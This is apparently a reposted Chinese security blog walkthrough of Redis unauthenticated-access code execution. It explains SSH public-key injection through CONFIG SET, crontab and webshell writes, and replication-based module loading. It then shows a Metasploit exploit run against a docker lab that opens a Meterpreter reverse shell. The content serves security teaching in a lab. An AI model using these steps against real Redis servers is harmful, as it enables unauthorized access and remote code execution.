4-unacc(Redis未授权代码执行)

admin 2025年3月21日00:34:43评论8 views字数 2276阅读7分35秒阅读模式

一、漏洞原理

1.未授权访问

        Redis默认监听0.0.0.0:6379且无需身份验证。若管理员未配置密码认证(requirepass)或未限制访问来源(bind),攻击者可直连Redis服务并执行任意操作。

2.文件写入与配置篡改

SSH公钥注入:修改路径为/root/.ssh/,文件名设为authorized_keys,写入攻击者公钥,获取SSH无密登录权限。

Crontab定时任务:写入恶意命令至/etc/cron.d/目录,通过计划任务执行反弹Shell或下载恶意程序。

WebShell植入:若Redis进程有权访问Web目录,写入PHP等脚本文件,实现远程代码执行。

3.主从复制攻击

    攻击者伪装为Redis主节点,诱使目标作为从节点同步数据。通过MODULE LOAD命令加载恶意.so模块,直接执行系统命令(需Redis 4.x以上支持模块功能)。

二、利用步骤(以SSH密钥为例)

连接Redis服务

redis-cli -h

修改持久化配置

CONFIG SET dir /root/.ssh/

CONFIG SET dbfilename authorized_keys

写入公钥

SET payload "ssh-rsa AAAAB3NzaC1yc2E..."

SSH免密登录

ssh -i private_key root@

三、漏洞版本

1.Redis 2.x 至 5.0.5 之前的版本              包括 Redis 2.x、3.x、4.x 全系列,以及 5.x 系列中低于 5.0.5 的版本123。              这些版本默认绑定 0.0.0.0:6379,未强制启用密码认证(requirepass)或访问控制(如 bind 限制),导致未授权访问风险。

2.Redis 4.x/5.0.5 以下版本的主从复制漏洞              在 Redis 4.x 和 5.0.5 之前的版本中,攻击者可利用主从复制功能(MODULE LOAD)加载恶意 .so 模块,直接执行系统命令。

3.特殊条件下的更高版本              部分用户复现时发现,即使 Redis 6.0+ 版本未正确配置(如关闭 protected-mode 或未限制绑定 IP),也可能存在未授权访问风险,但需手动关闭安全机制(如 CONFIG SET protected-mode no)

四、漏洞复现

启动漏洞环境

docker-compose up -d

4-unacc(Redis未授权代码执行)

使用nmap扫描靶机6379端口获取服务版本

nmap -p6379 -sCV 192.168.1.138

4-unacc(Redis未授权代码执行)

该Redis版本存在未授权访问漏洞。

使用searchsploit搜索redis相关漏洞PoC

searchsploit redis

4-unacc(Redis未授权代码执行)

由输出可见,有关Redis未认证代码执行以及复制代码执行有关的EXP都在MSF中

启动metasploit,检索redis有关exp

search redis type:exploit

4-unacc(Redis未授权代码执行)

使用redis复制代码执行模块

use exploit/linux/redis/redis_replication_cmd_exec

该模块需要配置选项:RHOSTS、RPORT、SRVHOST、SRVPORT、LHOST、LPORT

msf6 exploit(linux/redis/redis_replication_cmd_exec) > set LHOST 192.168.1.138

LHOST => 192.168.1.138

msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVPORT 8088

SRVPORT => 8088

msf6 exploit(linux/redis/redis_replication_cmd_exec) > set RHOST 192.168.1.138

RHOST => 192.168.1.138

msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVHOST 192.168.1.138

SRVHOST => 192.168.1.138

msf6 exploit(linux/redis/redis_replication_cmd_exec) > run

[*] Started reverse TCP handler on 192.168.1.138:4444

[*] 192.168.1.138:6379- Compile redis module extension file

[+] 192.168.1.138:6379- Payload generated successfully!

[*] 192.168.1.138:6379- Listening on 192.168.1.138:8088

[*] 192.168.1.138:6379- Rogue server close...

[*] 192.168.1.138:6379- Sending command to trigger payload.

[*] Sending stage (3045380 bytes) to 172.24.0.2

[*] Meterpreter session 1 opened (192.168.1.138:4444 -> 172.24.0.2:43180) at 2024-12-16 08:15:02 -0500

[!] 192.168.1.138:6379- This exploit may require manual cleanup of './psfgqzed.so' on the target

meterpreter > getuid

Server username: redis

原文始发于微信公众号(智检安全):4-unacc(Redis未授权代码执行)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月21日00:34:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   4-unacc(Redis未授权代码执行)https://cn-sec.com/archives/3863318.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息